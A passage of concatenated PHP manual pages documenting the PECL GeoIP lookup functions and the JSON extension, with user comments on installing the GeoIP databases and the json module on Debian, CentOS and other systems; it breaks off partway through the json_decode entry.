While trying to update the GeoIP.dat file under debian, I've found out that automatic updates via the geoipupdate (in geoip-bin package) is not available for the free edition. Here is a one-liner script that will do it. You can put it in a crontab, it will download the .dat file only if it has change :

cd /usr/share/GeoIP && wget GEOIP_URL -N && cat GeoIP.dat.gz | gzip -d > GeoIP.dat

Note : GEOIP_URL is to be found on the page http://www.maxmind.com/app/geoip_country, under the Binary Format section (The php note system won't allow me to put the full URL here

Crontab line could be :

@weekly cd /usr/share/GeoIP && (..)
nandox7 at myrealbox dot com 26-Dec-2008 06:49
The GeoLiteCity free db works and can resolve city names and other informations.

Make sure the instructions are followed regarding it's installation.

http://www.maxmind.com/app/installation?city=1

At step 2 the decompress file must be moved and renamed.
The files needs to be called GeoIPCity.dat if not the mod_geoip will not find it.
thomas {AT} thomasfischer {D0T} BIZ 07-Apr-2008 05:04
you can use this function to determine the continent of a country:

function getContinentFromCountry($country)
{
 $data = array ("AF"=> "AS","AX"=>"EU","AL"=>"EU", "DZ"=>"AF","AS"=>"OC", "AD"=>"EU","AO"=> "AF" ........);
 return $data[$country];
}

unfortunately this comment's size is restricted, so you will have the rest by yourself

for example:
getContinentFromCountry("DE") will result in "EU"

this data is based on
wikipedia's
List_of_countries_by_continent_(data_file)
kapouer at melix dot org 01-Mar-2008 07:26
For Debian etch users : libgeoip is in version 1.4 so get the source from lenny (apt-get build-dep libgeoip;apt-get source libgeoip), compile it on etch (dpkg-buildpackage -rfakeroot in source folder) and install resulting libgeoip1 and libgeo-dev packages (dpkg -i)... Together with php5-dev this package is easy to install (phpize5;./configure --enable-geoip;make;make install)... Then check your install in php with :
<?php
    echo geoip_database_info(GEOIP_COUNTRY_EDITION);
    echo $_SERVER['REMOTE_ADDR'];
    echo geoip_country_code3_by_name($_SERVER['REMOTE_ADDR']);
?>

please note free .dat is in /usr/share/GeoIP/GeoIP.dat
Use geoip-bin package to schedule automatic updates (configure /etc/geoip.default.conf and copy to /etc/geoip.conf, then add a crontab to make the updates...)
hope this helps
php dot comment dot addition at gmail dot com 10-Jun-2007 08:57
Just to clarify the other comments, the maxmind post seems to be out of date / incorrect.

This module fails to work (ie: resolve cities) with the GeoLite City database from here:
http://www.maxmind.com/app/geolitecity

The error occurs when calling the function geoip_record_by_name(), which states incorrectly that the required database is not available.  I have tested it with the very latest database, for which geoip_database_info() returns  the version:
GEO-533LITE 20070601 Build 1 Copyright (c) 2007 MaxMind LLC All Rights Reserved

It does, however, resolve countries OK via the GeoLite Country database, which you can grab here: http://www.maxmind.com/app/geoip_country
I tested with the version:

GEO-106FREE 20070601 Build 1 Copyright (c) 2007 MaxMind LLC All Rights Reserved
tjmather at maxmind dot com 26-Feb-2007 08:09
The geoip_country_*_by_name functions only work with GeoIP Country.  The geoip_record_by_name function works with GeoIP City.  geoip_region_by_name works with GeoIP Region.  So the API should work with all of the GeoIP databases, as long as you call the correct function.
26-Jan-2007 05:23
I couldn't get it to work with the DMA code database (product ID 137).  It seems to only work with the country database.  The documentation should contain a warning that this code (as of 0.2.0) is incomplete and that Net_GeoIP should be used for non-country databases.
judas dot iscariote at gmail dot com 16-Nov-2006 07:59
If you want to use this extension in SUSE/openSUSE, it is available here:

http://repos.opensuse.org/server:/php:/extensions/
Christian 13-Sep-2006 05:45
Both, Ubuntu and Debian itself make usage of version 1.3.x of the c libraries, so installation can't be done with the debian packages, because configure stops with:

== configure: error: You need version 1.4.0 or higher of the C API ==

so you must download it from maxmind.
Matt 08-Sep-2006 01:34
If you are a Debian or Ubuntu user, instead of building it from source, you can:
aptitude install libgeoip-dev libgeoip1
Predefined Constants
geoip_continent_code_by_name
GeoIP


Get the two letter continent code

GeoIP Functions
geoip_country_code_by_name
GeoIP Functions
PHP Manual

geoip_continent_code_by_name

(PECL geoip >= 1.0.3)

geoip_continent_code_by_name — Get the two letter continent code

Description

string geoip_continent_code_by_name ( string $hostname )

The geoip_continent_code_by_name() function will return the two letter continent code corresponding to a hostname or an IP address.

Parameters

hostname

The hostname or IP address whose location is to be looked-up.

Return Values

Returns the two letter continent code on success, or FALSE if the address cannot be found in the database.

Examples

Example #1 A geoip_continent_code_by_name() example

This will print where the host example.com is located.

<?php
$continent = geoip_continent_code_by_name('www.example.com');
if ($continent) {
    echo 'This host is located in: ' . $continent;
}
?>

The above example will output:

 This host is located in: NA

See Also

  • geoip_country_code_by_name() - Get the two letter country code

User Contributed Notes

lord.rojer [at] gmail.com 01-Aug-2011 02:53
See codes in the standard ISO 3166-1.
http://en.wikipedia.org/wiki/ISO_3166-1
fabien dot snauwaert at gmail dot com 18-Jan-2010 04:40
The return values are not really documented anywhere in a straight-forward fashion.

The best I could find is a list of all countries and their associated continent codes, here: http://www.maxmind.com/app/country_continent

Leaving us with 7 possible continents:

AS for Asia
EU for Europe
SA for South America
AF for Africa
AN for µAntartica
OC for Oceania
NA for North America

As mentioned above, if the host/IP is not found in the database, the function returns FALSE.
GeoIP Functions
geoip_country_code_by_name
GeoIP Functions


Get the two letter country code

geoip_continent_code_by_name
geoip_country_code3_by_name
GeoIP Functions
PHP Manual

geoip_country_code_by_name

(PECL geoip >= 0.2.0)

geoip_country_code_by_name — Get the two letter country code

Description

string geoip_country_code_by_name ( string $hostname )

The geoip_country_code_by_name() function will return the two letter country code corresponding to a hostname or an IP address.

Parameters

hostname

The hostname or IP address whose location is to be looked-up.

Return Values

Returns the two letter ISO country code on success, or FALSE if the address cannot be found in the database.

Examples

Example #1 A geoip_country_code_by_name() example

This will print where the host example.com is located.

<?php
$country = geoip_country_code_by_name('www.example.com');
if ($country) {
    echo 'This host is located in: ' . $country;
}
?>

The above example will output:

This host is located in: US

See Also

  • geoip_country_code3_by_name() - Get the three letter country code
  • geoip_country_name_by_name() - Get the full country name

User Contributed Notes

There are no user contributed notes for this page.
geoip_continent_code_by_name
geoip_country_code3_by_name
GeoIP Functions


Get the three letter country code

geoip_country_code_by_name
geoip_country_name_by_name
GeoIP Functions
PHP Manual

geoip_country_code3_by_name

(PECL geoip >= 0.2.0)

geoip_country_code3_by_name — Get the three letter country code

Description

string geoip_country_code3_by_name ( string $hostname )

The geoip_country_code3_by_name() function will return the three letter country code corresponding to a hostname or an IP address.

Parameters

hostname

The hostname or IP address whose location is to be looked-up.

Return Values

Returns the three letter country code on success, or FALSE if the address cannot be found in the database.

Examples

Example #1 A geoip_country_code3_by_name() example

This will print where the host example.com is located.

<?php
$country = geoip_country_code3_by_name('www.example.com');
if ($country) {
    echo 'This host is located in: ' . $country;
}
?>

The above example will output:

This host is located in: USA

See Also

  • geoip_country_code_by_name() - Get the two letter country code
  • geoip_country_name_by_name() - Get the full country name

User Contributed Notes

There are no user contributed notes for this page.
geoip_country_code_by_name
geoip_country_name_by_name
GeoIP Functions


Get the full country name

geoip_country_code3_by_name
geoip_database_info
GeoIP Functions
PHP Manual

geoip_country_name_by_name

(PECL geoip >= 0.2.0)

geoip_country_name_by_name — Get the full country name

Description

string geoip_country_name_by_name ( string $hostname )

The geoip_country_name_by_name() function will return the full country name corresponding to a hostname or an IP address.

Parameters

hostname

The hostname or IP address whose location is to be looked-up.

Return Values

Returns the country name on success, or FALSE if the address cannot be found in the database.

Examples

Example #1 A geoip_country_name_by_name() example

This will print where the host example.com is located.

<?php
$country = geoip_country_name_by_name('www.example.com');
if ($country) {
    echo 'This host is located in: ' . $country;
}
?>

The above example will output:

 This host is located in: United States

See Also

  • geoip_country_code_by_name() - Get the two letter country code
  • geoip_country_code3_by_name() - Get the three letter country code

User Contributed Notes

There are no user contributed notes for this page.
geoip_country_code3_by_name
geoip_database_info
GeoIP Functions


Get GeoIP Database information

geoip_country_name_by_name
geoip_db_avail
GeoIP Functions
PHP Manual

geoip_database_info

(PECL geoip >= 0.2.0)

geoip_database_info — Get GeoIP Database information

Description

string geoip_database_info ([ int $database = GEOIP_COUNTRY_EDITION ] )

The geoip_database_info() function returns the corresponding GeoIP Database version as it is defined inside the binary file.

If this function is called without arguments, it returns the version of the GeoIP Free Country Edition.

Parameters

database

The database type as an integer. You can use the various constants defined with this extension (ie: GEOIP_*_EDITION).

Return Values

Returns the corresponding database version, or NULL on error.

Examples

Example #1 A geoip_region_by_name() example

This will output the current database version string.

<?php
print geoip_database_info(GEOIP_COUNTRY_EDITION);
?>

The above example will output:

GEO-106FREE 20060801 Build 1 Copyright (c) 2006 MaxMind LLC All Rights Reserved

User Contributed Notes

There are no user contributed notes for this page.
geoip_country_name_by_name
geoip_db_avail
GeoIP Functions


Determine if GeoIP Database is available

geoip_database_info
geoip_db_filename
GeoIP Functions
PHP Manual

geoip_db_avail

(PECL geoip >= 1.0.1)

geoip_db_avail — Determine if GeoIP Database is available

Description

bool geoip_db_avail ( int $database )

The geoip_db_avail() function returns if the corresponding GeoIP Database is available and can be opened on disk.

It does not indicate if the file is a proper database, only if it is readable.

Parameters

database

The database type as an integer. You can use the various constants defined with this extension (ie: GEOIP_*_EDITION).

Return Values

Returns TRUE is database exists, FALSE if not found, or NULL on error.

Examples

Example #1 A geoip_db_avail() example

This will output the current database version string.

<?php

if (geoip_db_avail(GEOIP_COUNTRY_EDITION))
    print geoip_database_info(GEOIP_COUNTRY_EDITION);
?>

The above example will output:

GEO-106FREE 20080801 Build 1 Copyright (c) 2006 MaxMind LLC All Rights Reserved

User Contributed Notes

There are no user contributed notes for this page.
geoip_database_info
geoip_db_filename
GeoIP Functions


Returns the filename of the corresponding GeoIP Database

geoip_db_avail
geoip_db_get_all_info
GeoIP Functions
PHP Manual

geoip_db_filename

(PECL geoip >= 1.0.1)

geoip_db_filename — Returns the filename of the corresponding GeoIP Database

Description

string geoip_db_filename ( int $database )

The geoip_db_filename() function returns the filename of the corresponding GeoIP Database.

It does not indicate if the file exists or not on disk, only where the library is looking for the database.

Parameters

database

The database type as an integer. You can use the various constants defined with this extension (ie: GEOIP_*_EDITION).

Return Values

Returns the filename of the corresponding database, or NULL on error.

Examples

Example #1 A geoip_db_filename() example

This will output the filename of the corresponding database.

<?php

print geoip_db_filename(GEOIP_COUNTRY_EDITION);

?>

The above example will output:

/usr/share/GeoIP/GeoIP.dat

User Contributed Notes

Loc d&#39;Anterroches 18-Aug-2010 05:50
To quickly know which databases are available on your system:

<?php
$cst = array(
             'GEOIP_COUNTRY_EDITION' => GEOIP_COUNTRY_EDITION,
             'GEOIP_REGION_EDITION_REV0' => GEOIP_REGION_EDITION_REV0,
             'GEOIP_CITY_EDITION_REV0' => GEOIP_CITY_EDITION_REV0,
             'GEOIP_ORG_EDITION' => GEOIP_ORG_EDITION,
             'GEOIP_ISP_EDITION' => GEOIP_ISP_EDITION,
             'GEOIP_CITY_EDITION_REV1' => GEOIP_CITY_EDITION_REV1,
             'GEOIP_REGION_EDITION_REV1' => GEOIP_REGION_EDITION_REV1,
             'GEOIP_PROXY_EDITION' => GEOIP_PROXY_EDITION,
             'GEOIP_ASNUM_EDITION' => GEOIP_ASNUM_EDITION,
             'GEOIP_NETSPEED_EDITION' => GEOIP_NETSPEED_EDITION,
             'GEOIP_DOMAIN_EDITION' => GEOIP_DOMAIN_EDITION,
             );

foreach ($cst as $k=>$v) {
    echo $k.': '.geoip_db_filename($v).'  '.(geoip_db_avail($v) ? 'Available':'').'<br>';
}
?>

The only drawback of the PECL extension with respect to a pure PHP implementation is that you cannot select yourself where the database is. So, if you get a new version of the database, you need to put in the standard place and you may need root access to do so.
geoip_db_avail
geoip_db_get_all_info
GeoIP Functions


Returns detailed information about all GeoIP database types

geoip_db_filename
geoip_id_by_name
GeoIP Functions
PHP Manual

geoip_db_get_all_info

(PECL geoip >= 1.0.1)

geoip_db_get_all_info — Returns detailed information about all GeoIP database types

Description

array geoip_db_get_all_info ( void )

The geoip_db_get_all_info() function will return detailed information as a multi-dimensional array about all the GeoIP database types.

This function is available even if no databases are installed. It will simply list them as non-available.

The names of the different keys of the returning associative array are as follows:

  • "available" -- Boolean, indicate if DB is available (see geoip_db_avail())
  • "description" -- The database description
  • "filename" -- The database filename on disk (see geoip_db_filename())

Return Values

Returns the associative array.

Examples

Example #1 A geoip_db_get_all_info() example

This will print the array containing all the information.

<?php
$infos = geoip_db_get_all_info();
if (is_array($infos)) {
    var_dump($infos);
}
?>

The above example will output:

array(11) {
  [1]=>
  array(3) {
    ["available"]=>
    bool(true)
    ["description"]=>
    string(21) "GeoIP Country Edition"
    ["filename"]=>
    string(32) "/usr/share/GeoIP/GeoIP.dat"
  }

[ ... ]

  [11]=>
  array(3) {
    ["available"]=>
    bool(false)
    ["description"]=>
    string(25) "GeoIP Domain Name Edition"
    ["filename"]=>
    string(38) "/usr/share/GeoIP/GeoIPDomain.dat"
  }
}

Example #2 A geoip_db_get_all_info() example

You can use the various constants as keys to get only parts of the information.

<?php
$infos = geoip_db_get_all_info();
if ($infos[GEOIP_COUNTRY_EDITION]['available']) {
    echo $infos[GEOIP_COUNTRY_EDITION]['description'];
}
?>

The above example will output:

GeoIP Country Edition

User Contributed Notes

There are no user contributed notes for this page.
geoip_db_filename
geoip_id_by_name
GeoIP Functions


Get the Internet connection type

geoip_db_get_all_info
geoip_isp_by_name
GeoIP Functions
PHP Manual

geoip_id_by_name

(PECL geoip >= 0.2.0)

geoip_id_by_name — Get the Internet connection type

Description

int geoip_id_by_name ( string $hostname )

The geoip_id_by_name() function will return the Internet connection type corresponding to a hostname or an IP address.

The return value is numeric and can be compared to the following constants:

  • GEOIP_UNKNOWN_SPEED
  • GEOIP_DIALUP_SPEED
  • GEOIP_CABLEDSL_SPEED
  • GEOIP_CORPORATE_SPEED

Parameters

hostname

The hostname or IP address whose connection type is to be looked-up.

Return Values

Returns the connection type.

Examples

Example #1 A geoip_id_by_name() example

This will output the connection type of the host example.com.

<?php
$netspeed = geoip_id_by_name('www.example.com');

echo 'The connection type is ';

switch ($netspeed) {
    case GEOIP_DIALUP_SPEED:
        echo 'dial-up';
        break;
    case GEOIP_CABLEDSL_SPEED:
        echo 'cable or DSL';
        break;
    case GEOIP_CORPORATE_SPEED:
        echo 'corporate';
        break;
    case GEOIP_UNKNOWN_SPEED:
    default:
        echo 'unknown';
}
?>

The above example will output:

The connection type is corporate

User Contributed Notes

There are no user contributed notes for this page.
geoip_db_get_all_info
geoip_isp_by_name
GeoIP Functions


Get the Internet Service Provider (ISP) name

geoip_id_by_name
geoip_org_by_name
GeoIP Functions
PHP Manual

geoip_isp_by_name

(PECL geoip >= 1.0.2)

geoip_isp_by_name — Get the Internet Service Provider (ISP) name

Description

string geoip_isp_by_name ( string $hostname )

The geoip_isp_by_name() function will return the name of the Internet Service Provider (ISP) that an IP is assigned to.

This function is currently only available to users who have bought a commercial GeoIP ISP Edition. A warning will be issued if the proper database cannot be located.

Parameters

hostname

The hostname or IP address.

Return Values

Returns the ISP name on success, or FALSE if the address cannot be found in the database.

Examples

Example #1 A geoip_isp_by_name() example

This will print the ISP name of host example.com.

<?php
$isp = geoip_isp_by_name('www.example.com');
if ($isp) {
    echo 'This host IP is from ISP: ' . $isp;
}
?>

The above example will output:

This host IP is from ISP: ICANN c/o Internet Assigned Numbers Authority

User Contributed Notes

There are no user contributed notes for this page.
geoip_id_by_name
geoip_org_by_name
GeoIP Functions


Get the organization name

geoip_isp_by_name
geoip_record_by_name
GeoIP Functions
PHP Manual

geoip_org_by_name

(PECL geoip >= 0.2.0)

geoip_org_by_name — Get the organization name

Description

string geoip_org_by_name ( string $hostname )

The geoip_org_by_name() function will return the name of the organization that an IP is assigned to.

This function is currently only available to users who have bought a commercial GeoIP Organization, ISP or AS Edition. A warning will be issued if the proper database cannot be located.

Parameters

hostname

The hostname or IP address.

Return Values

Returns the organization name on success, or FALSE if the address cannot be found in the database.

Examples

Example #1 A geoip_org_by_name() example

This will print to whom the host example.com IP is allocated.

<?php
$org = geoip_org_by_name('www.example.com');
if ($org) {
    echo 'This host IP is allocated to: ' . $org;
}
?>

The above example will output:

This host IP is allocated to: ICANN c/o Internet Assigned Numbers Authority

User Contributed Notes

There are no user contributed notes for this page.
geoip_isp_by_name
geoip_record_by_name
GeoIP Functions


Returns the detailed City information found in the GeoIP Database

geoip_org_by_name
geoip_region_by_name
GeoIP Functions
PHP Manual

geoip_record_by_name

(PECL geoip >= 0.2.0)

geoip_record_by_name — Returns the detailed City information found in the GeoIP Database

Description

array geoip_record_by_name ( string $hostname )

The geoip_record_by_name() function will return the record information corresponding to a hostname or an IP address.

This function is available for both GeoLite City Edition and commercial GeoIP City Edition. A warning will be issued if the proper database cannot be located.

The names of the different keys of the returning associative array are as follows:

  • "continent_code" -- Two letter continent code (as of version 1.0.4 with libgeoip 1.4.3 or newer)
  • "country_code" -- Two letter country code (see geoip_country_code_by_name())
  • "country_code3" -- Three letter country code (see geoip_country_code3_by_name())
  • "country_name" -- The country name (see geoip_country_name_by_name())
  • "region" -- The region code (ex: CA for California)
  • "city" -- The city.
  • "postal_code" -- The Postal Code, FSA or Zip Code.
  • "latitude" -- The Latitude as signed double.
  • "longitude" -- The Longitude as signed double.
  • "dma_code" -- Designated Market Area code (USA and Canada only)
  • "area_code" -- The PSTN area code (ex: 212)

Parameters

hostname

The hostname or IP address whose record is to be looked-up.

Return Values

Returns the associative array on success, or FALSE if the address cannot be found in the database.

Changelog

Version | Description
1.0.4 | Adding the continent_code with GeoIP Library 1.4.3 or newer only
1.0.3 | Adding country_code3 and country_name

Examples

Example #1 A geoip_record_by_name() example

This will print the array containing the record of host example.com.

<?php
$record = geoip_record_by_name('www.example.com');
if ($record) {
    print_r($record);
}
?>

The above example will output:

Array
(
    [continent_code] => NA
    [country_code] => US
    [country_code3] => USA
    [country_name] => United States
    [region] => CA
    [city] => Marina Del Rey
    [postal_code] =>
    [latitude] => 33.9776992798
    [longitude] => -118.435096741
    [dma_code] => 803
    [area_code] => 310
)

User Contributed Notes

wouter dot berben at ignitione dot com 11-Jan-2012 01:04
This function returns a PHP Notice when a address can not be found.
geoip_org_by_name
geoip_region_by_name
GeoIP Functions


Get the country code and region

geoip_record_by_name
geoip_region_name_by_code
GeoIP Functions
PHP Manual

geoip_region_by_name

(PECL geoip >= 0.2.0)

geoip_region_by_name — Get the country code and region

Description

array geoip_region_by_name ( string $hostname )

The geoip_region_by_name() function will return the country and region corresponding to a hostname or an IP address.

This function is currently only available to users who have bought a commercial GeoIP Region Edition. A warning will be issued if the proper database cannot be located.

The names of the different keys of the returning associative array are as follows:

  • "country_code" -- Two letter country code (see geoip_country_code_by_name())
  • "region" -- The region code (ex: CA for California)

Parameters

hostname

The hostname or IP address whose region is to be looked-up.

Return Values

Returns the associative array on success, or FALSE if the address cannot be found in the database.

Examples

Example #1 A geoip_region_by_name() example

This will print the array containing the country code and region of the host example.com.

<?php
$region = geoip_region_by_name('www.example.com');
if ($region) {
    print_r($region);
}
?>

The above example will output:

Array
(
    [country_code] => US
    [region] => CA
)

User Contributed Notes

There are no user contributed notes for this page.
geoip_record_by_name
geoip_region_name_by_code
GeoIP Functions


Returns the region name for some country and region code combo

geoip_region_by_name
geoip_time_zone_by_country_and_region
GeoIP Functions
PHP Manual

geoip_region_name_by_code

(PECL geoip >= 1.0.4)

geoip_region_name_by_code — Returns the region name for some country and region code combo

Description

string geoip_region_name_by_code ( string $country_code , string $region_code )

The geoip_region_name_by_code() function will return the region name corresponding to a country and region code combo.

In the United States, the region code corresponds to the two-letter abbreviation of each state. In Canada, the region code corresponds to the two-letter province or territory code as attributed by Canada Post.

For the rest of the world, GeoIP uses FIPS 10-4 codes to represent regions. You can check » http://www.maxmind.com/app/fips10_4 for a detailed list of FIPS 10-4 codes.

This function is always available if using GeoIP Library version 1.4.1 or newer. The data is taken directly from the GeoIP Library and not from any database.

Parameters

country_code

The two-letter country code (see geoip_country_code_by_name())

region_code

The two-letter (or digit) region code (see geoip_region_by_name())

Return Values

Returns the region name on success, or FALSE if the country and region code combo cannot be found.

Examples

Example #1 A geoip_region_name_by_code() example using region code for US/Canada

This will print the region name for country CA (Canada), region QC (Quebec).

<?php
$region = geoip_region_name_by_code('CA', 'QC');
if ($region) {
    echo 'Region name for CA/QC is: ' . $region;
}
?>

The above example will output:

Region name for CA/QC is: Quebec

Example #2 A geoip_region_name_by_code() example using FIPS codes

This will print the region name for country JP (Japan), region 01.

<?php
$region = geoip_region_name_by_code('JP', '01');
if ($region) {
    echo 'Region name for JP/01 is: ' . $region;
}
?>

The above example will output:

Region name for JP/01 is: Aichi

User Contributed Notes

There are no user contributed notes for this page.
geoip_region_by_name
geoip_time_zone_by_country_and_region
GeoIP Functions


Returns the time zone for some country and region code combo

geoip_region_name_by_code
JSON
GeoIP Functions
PHP Manual

geoip_time_zone_by_country_and_region

(PECL geoip >= 1.0.4)

geoip_time_zone_by_country_and_region — Returns the time zone for some country and region code combo

Description

string geoip_time_zone_by_country_and_region ( string $country_code [, string $region_code ] )

The geoip_time_zone_by_country_and_region() function will return the time zone corresponding to a country and region code combo.

In the United States, the region code corresponds to the two-letter abbreviation of each state. In Canada, the region code corresponds to the two-letter province or territory code as attributed by Canada Post.

For the rest of the world, GeoIP uses FIPS 10-4 codes to represent regions. You can check » http://www.maxmind.com/app/fips10_4 for a detailed list of FIPS 10-4 codes.

This function is always available if using GeoIP Library version 1.4.1 or newer. The data is taken directly from the GeoIP Library and not from any database.

Parameters

country_code

The two-letter country code (see geoip_country_code_by_name())

region_code

The two-letter (or digit) region code (see geoip_region_by_name())

Return Values

Returns the time zone on success, or FALSE if the country and region code combo cannot be found.

Examples

Example #1 A geoip_time_zone_by_country_and_region() example using region code for US/Canada

This will print the time zone for country CA (Canada), region QC (Quebec).

<?php
$timezone = geoip_time_zone_by_country_and_region('CA', 'QC');
if ($timezone) {
    echo 'Time zone for CA/QC is: ' . $timezone;
}
?>

The above example will output:

Time zone for CA/QC is: America/Montreal

Example #2 A geoip_time_zone_by_country_and_region() example using FIPS codes

This will print the time zone for country JP (Japan), region 01 (Aichi).

<?php
$timezone = geoip_time_zone_by_country_and_region('JP', '01');
if ($timezone) {
    echo 'Time zone for JP/01 is: ' . $timezone;
}
?>

The above example will output:

Time zone for JP/01 is: Asia/Tokyo

User Contributed Notes

There are no user contributed notes for this page.
geoip_region_name_by_code
JSON
GeoIP Functions


JavaScript Object Notation

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • JsonSerializable — The JsonSerializable class
    • JsonSerializable::jsonSerialize — Specify data which should be serialized to JSON
  • JSON Functions
    • json_decode — Decodes a JSON string
    • json_encode — Returns the JSON representation of a value
    • json_last_error — Returns the last error occurred

User Contributed Notes

jitendra dot thakur2008 at gmail dot com 18-Nov-2011 02:24
JSON is used where we want send data as an object its either be an array or string.
jquery and php json example

var dataString = 'comment=' + comment;
$.ajax({
  type: "POST",
  url: "pagepostbyajax.php",
//this data is mendetory when u want post data when posting page by ajax.
//after that ur data send to that page. now in backend page echo json data.if your //data is in array format the use json_encode() function then echo that json data
//now you find tht json in your success that can you use by taking a loop.
  data: dataString,
  cache: false,
 datatype: json,
  success: function(html){
  $("ul#update").append(datal);

   alert(data);
  }
 });

Regards Jitendra Thakur
geoip_time_zone_by_country_and_region
Introduction
Other Basic Extensions


Introduction

This extension implements the » JavaScript Object Notation (JSON) data-interchange format. The decoding is handled by a parser based on the JSON_checker by Douglas Crockford.

User Contributed Notes

There are no user contributed notes for this page.
JSON
Installing/Configuring
JSON


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
JSON


Requirements

There is no installation needed to use these functions; they are part of the PHP core.

User Contributed Notes

php at milesmatton dot com 05-Aug-2009 09:24
If you're not seeing the json functions on 5.2.0 or newer, make sure php wasn't compiled with --disable-json
Installing/Configuring
Installation
Installing/Configuring


Installation

As of PHP 5.2.0, the JSON extension is bundled and compiled into PHP by default.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/json

User Contributed Notes

haebler at gmail dot com 22-Jan-2011 09:45
On RHEL5/CentOS5 add the EPEL repository (http://fedoraproject.org/wiki/EPEL).

After that, installation is as simple as:

    sudo yum install php-pecl-json
cko at audaxis dot com 19-Oct-2010 06:11
On gentoo, need the USE flag "json" to compile into php
dmitryzayats at NOSPAM dot yahoo dot com 20-Nov-2009 09:06
Installation steps on CentOs 5.3 include

# yum install php-devel
# yum install php-pear
# yum install gcc
# pear install pecl/json

# cd /etc/php.d
# echo "extension=json.so" > json.ini
# service httpd restart

After that phpinfo() would output

json support     enabled
json version     1.2.1
dave at davidhbrown dot us 20-Jan-2009 04:24
On one server I use (FreeBSD 6.3; PHP 5.2.6 as module in Apache 2.2.10), PHP was compiled with the '--disable-all' configuration option. Consequently, there exists a secondary configuration file -- /usr/local/php5/etc/extensions.ini -- in which the line

; extension=json.so

must be uncommented (delete the semicolon) and Apache restarted for these functions to be available.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

The following constants indicate the type of error returned by json_last_error().

JSON_ERROR_NONE (integer)
No error has occurred. Available since PHP 5.3.0.
JSON_ERROR_DEPTH (integer)
The maximum stack depth has been exceeded. Available since PHP 5.3.0.
JSON_ERROR_STATE_MISMATCH (integer)
Occurs with underflow or with the modes mismatch. Available since PHP 5.3.0.
JSON_ERROR_CTRL_CHAR (integer)
Control character error, possibly incorrectly encoded. Available since PHP 5.3.0.
JSON_ERROR_SYNTAX (integer)
Syntax error. Available since PHP 5.3.0.
JSON_ERROR_UTF8 (integer)
Malformed UTF-8 characters, possibly incorrectly encoded. This constant is available as of PHP 5.3.1.

The following constants can be combined to form options for json_encode().

JSON_HEX_TAG (integer)
All < and > are converted to \u003C and \u003E. Available since PHP 5.3.0.
JSON_HEX_AMP (integer)
All &s are converted to \u0026. Available since PHP 5.3.0.
JSON_HEX_APOS (integer)
All ' are converted to \u0027. Available since PHP 5.3.0.
JSON_HEX_QUOT (integer)
All " are converted to \u0022. Available since PHP 5.3.0.
JSON_FORCE_OBJECT (integer)
Outputs an object rather than an array when a non-associative array is used. Especially useful when the recipient of the output is expecting an object and the array is empty. Available since PHP 5.3.0.
JSON_NUMERIC_CHECK (integer)
Encodes numeric strings as numbers. Available since PHP 5.3.3.
JSON_BIGINT_AS_STRING (integer)
Encodes large integers as their original string value. Available since PHP 5.4.0.
JSON_PRETTY_PRINT (integer)
Use whitespace in returned data to format it. Available since PHP 5.4.0.
JSON_UNESCAPED_SLASHES (integer)
Don't escape /. Available since PHP 5.4.0.
JSON_UNESCAPED_UNICODE (integer)
Encode multibyte Unicode characters literally (default is to escape as \uXXXX). Available since PHP 5.4.0.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
JsonSerializable
JSON


The JsonSerializable class

(PHP 5 >= 5.4.0)

Introduction

Class synopsis

JsonSerializable {
/* Methods */
abstract public mixed jsonSerialize ( void )
}

Table of Contents

  • JsonSerializable::jsonSerialize — Specify data which should be serialized to JSON

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
JsonSerializable::jsonSerialize
JSON


Specify data which should be serialized to JSON

JsonSerializable
JSON Functions
JsonSerializable
PHP Manual

JsonSerializable::jsonSerialize

(PHP 5 >= 5.4.0)

JsonSerializable::jsonSerialize — Specify data which should be serialized to JSON

Description

abstract public mixed JsonSerializable::jsonSerialize ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Return data which should be serialized by json_encode().

User Contributed Notes

There are no user contributed notes for this page.
JsonSerializable
JSON Functions
JsonSerializable


JSON Functions

Table of Contents

  • json_decode — Decodes a JSON string
  • json_encode — Returns the JSON representation of a value
  • json_last_error — Returns the last error occurred

User Contributed Notes

brothersevenlonlegs at hotmail dot com 07-Feb-2010 09:18
although the Json is more widely acceptable serialization/deserialization scheme than WDDX, but the decoding speed with Chinese character in WDDX in PHP is much faster than Json; the same several MB serialized data file can deserialize in only ~80ms and for Json is 800ms, 10 times difference !!!
a DOT rabbit AT donec DOT net 22-Mar-2007 01:33
For those of you who wants to use JSON with PHP4 to process russian KOI8-r text, please read the following article: http://yozhek10nozhek.livejournal.com/5842.html (in russian)

Maybe it is neither completed yet nor professionally-written, but it doesn't aim to be some kind of full-featured manual.

Note, that you must have iconv extension loaded to use it; json extension is not needed, I use Services_JSON (http://pear.php.net/pepr/pepr-proposal-show.php?id=198) implementation.
Max Headroom 11-Nov-2006 03:49
The JSON function is basically a more widely accepted variation on the WDDX principle:
http://us2.php.net/manual/en/ref.wddx.php
giunta dot gaetano at sea-aeroportimilano dot it 04-Sep-2006 03:35
Two pure-php implementations of the json protocol that might be of use, e.g. for php 4 installs where adding extensions is not an option or because of extra functionality can be found here:

http://sourceforge.net/projects/phpxmlrpc (look for the extras package)

http://mike.teczno.com/json.html

Of course, performance is abysmal compared to the php extension, written in highly optimized C code...
JsonSerializable::jsonSerialize
json_decode
JSON


Decodes a JSON string

JSON Functions
json_encode
JSON Functions
PHP Manual

json_decode

(PHP 5 >= 5.2.0, PECL json >= 1.2.0)

json_decode — Decodes a JSON string

Description

mixed json_decode ( string $json [, bool $assoc = false [, int $depth = 512 [, int $options = 0 ]]] )

Takes a JSON encoded string and converts it into a PHP variable.

Parameters

json

The json string being decoded.

This function only works with UTF-8 encoded data.

assoc

When TRUE, returned objects will be converted into associative arrays.

depth

User specified recursion depth.

options

Bitmask of JSON decode options. Currently only JSON_BIGINT_AS_STRING is supported (default is to cast large integers as floats)

Return Values

